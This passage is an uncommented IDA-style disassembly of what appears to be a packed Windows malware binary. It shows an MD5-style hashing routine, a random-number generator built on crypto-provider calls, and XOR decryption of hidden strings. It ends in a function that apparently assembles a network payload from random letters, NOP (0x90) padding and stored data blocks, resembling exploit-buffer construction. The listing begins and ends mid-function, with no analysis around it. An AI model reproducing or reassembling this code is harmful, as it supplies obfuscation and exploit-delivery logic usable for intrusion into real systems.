		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: .packed:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: .packed:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024
		push	offset dword_41EBBC
		push	4
		push	[ebp+var_4]
		call	dword_417020
		push	offset dword_41EBC0
		push	4
		push	[ebp+var_4]
		call	dword_417020
		push	offset dword_41EBC4
		push	4
		push	[ebp+var_4]
		call	dword_417020
		push	offset dword_41EBC8
		push	4
		push	[ebp+var_4]
		call	dword_417020
		push	0
		push	[ebp+var_4]
		call	dword_41701C
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EBBC,	eax
		add	eax, ebx
		lock xadd dword_41EBC0,	eax
		add	eax, ecx
		lock xadd dword_41EBC4,	eax
		add	eax, edx
		lock xadd dword_41EBC8,	eax
		add	eax, esi
		lock xadd dword_41EBBC,	eax
		add	eax, edi
		lock xadd dword_41EBC0,	eax
		add	eax, ebp
		lock xadd dword_41EBC4,	eax
		add	eax, esp
		lock xadd dword_41EBC8,	eax
		call	sub_416B64
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EBBC,	eax
		lock xadd dword_41EBC0,	eax
		lock xadd dword_41EBC4,	eax
		lock xadd dword_41EBC8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EBC4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EBC0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EBBC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EBC8,	edx
		lock xadd dword_41EBC4,	ecx
		lock xadd dword_41EBC0,	ebx
		lock xadd dword_41EBBC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64
		lock xadd dword_41EBC8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64
		lock xadd dword_41EBC8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64
		lock xadd dword_41EBC4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64
		lock xadd dword_41EBC0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64
		lock xadd dword_41EBBC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: .packed:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EBD0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EBD0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBD0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBD0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: .packed:off_41CDB6o

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
